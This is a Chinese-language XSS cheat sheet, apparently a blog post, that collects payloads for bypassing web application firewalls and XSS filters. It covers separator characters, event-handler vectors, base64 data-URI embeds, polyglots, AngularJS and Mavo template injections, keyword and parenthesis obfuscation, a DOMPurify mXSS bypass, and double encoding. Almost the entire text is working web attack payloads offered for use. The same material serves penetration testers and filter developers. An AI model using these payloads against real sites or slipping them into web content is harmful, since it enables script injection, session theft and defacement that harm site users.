希望在各位遇到难解决的WAF或XSS过滤器时,这份备忘录能够给大家提供一些帮助或灵感。作为例子,不能说100%完整,但是我相信这里提供的技术是2020年部分安全人员仍在使用的技术。
标签-属性分隔符
有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:
Decimal value | URL Encoded | Human desc |
47 | %2F | Foward slash |
13 | %0D | Carriage Return |
12 | %0C | Form Feed |
10 | %0A | New Line |
9 | %09 | Horizontal Tab |
从上往下分别对应:正斜杠 回车符 分页符 换行符 水平制表符
使用方式
一般来说,你的Payload构造如下:
<svg onload=alert(1)>
你可以尝试使用上述字符来替换‘svg’和‘onload’中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO:有效的HTML):
<svg/onload=alert(1)><svg>
<svg
onload=alert(1)><svg> # newline char
<svg onload=alert(1)><svg> # tab char
<svgonload=alert(1)><svg> # new page char (0xc)
基于JavaScript事件的XSS
标准HTML事件
点击事件:
Name | Tags | Note |
onload | body, iframe, img, frameset, input, script, style, link, svg | Great for 0-click, but super commonly filtered |
onpageshow | body | Great for 0-click, but appears only usable in Non-DOM injections |
onfocus | most tags | for 0-click: use together with autofocus=”” |
onmouseover | most tags | if possible, add styling to make it as big as possible. It’s technically a 0-click if you don’t have to click, right? /s |
onerror | img, input, object, link, script, video, audio | make sure to pass params to make it fail |
onanimationstart | Combine with any element that can be animated | Fired then a CSS animation starts |
onanimationend | Combine with any element that can be animated | Fires when a CSS animation ends |
onstart | marquee | Fires on marquee animation start - Firefox only? |
onfinish | marquee | Fires on marquee animation end - Firefox only? |
ontoggle | details | Must have the ‘open’ attribute for 0-click |
例子:
<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()"> (chrome & opera only)
HTML5事件
点击事件:
Name | Tags | Note |
onplay | video, audio | For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
onplaying | video, audio | For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
oncanplay | video, audio | Must link to a valid video/audio clip |
onloadeddata | video, audio | Must link to a valid video/audio clip |
onloadedmetadata | video, audio | Must link to a valid video/audio clip |
onprogress | video, audio | Must link to a valid video/audio clip |
onloadstart | video, audio | Great underexploited 0-click vector |
oncanplay | video, audio | Must link to a valid video/audio clip |
例子:
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
基于CSS的事件
不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。
下面的例子使用的是style标签来为动画的开始和结束设置关键帧:
<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
奇怪的XSS向量
下面给出的是一些比较“奇葩”的XSS测试向量,这些测试向量很少见:
<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
XSS多覆盖样例
下面我给出了几份XSS的多段代码,因为有的时候我们只需要输入特定的字符,或者只需要一个基于DOM或基于非DOM的注入场景。
chars | Usage | Polyglots |
141 | Both | javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> |
88 | Non-DOM | "'--></noscript></noembed></template></title></textarea></style><script>alert()</script> |
95 | DOM | '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
54 | Non-DOM | "'>-->*/</noscript></ti tle><script>alert()</script> |
42 | DOM | "'--></style></script><svg onload=alert()> |
框架
为了攻击JS框架,我们还需要对相关的模板语言进行研究和分析。
AngularJS
{{constructor.constructor('alert(1)')()}}
这个Payload适用于大多数场景。
Mavo
[self.alert(1)]
XSS过滤器及waf绕过
圆括号过滤
利用HTML解析器和JS语句:
<svg onload=alert`1`></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
限制字符集
下面这三个站点可以将有效的JS代码转换为所谓的“乱码”来绕过绝大多数的过滤器:
- JSFuck(http://www.jsfuck.com/)
- JSFsck – JSFuck without parentheses(http://centime.org/jsfsck/)
- jjencode(http://utf-8.jp/public/jjencode.html)
关键词过滤
避免使用的关键词:
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1) // Generated using parseInt("alert",30). Other bases also work
mXSS和DOM攻击
对于XSS过滤器来说,它们基本上不可能正确地预测浏览器如何跟HTML以及交互库进行数据处理的方式。因此,有的时候我们就可以将XSS Payload作为无效的HTML插入到目标页面中,然后浏览器将有可能把它作为有效Payload执行,这样就可以绕过过滤器了。
下面给出的是一个能够绕过过滤器(DOMPurify <2.0.1)的mXSS Payload:
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
双重编码
有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机。
Char | Double encoded |
< | %253C |
> | %253E |
( | %2528 |
) | %2529 |
” | %2522 |
’ | %2527 |
最后放一个国外的xss练习平台,对于我来说,实战是提升最快的途径。希望大家多多练习,有任何问题请通过博客私信。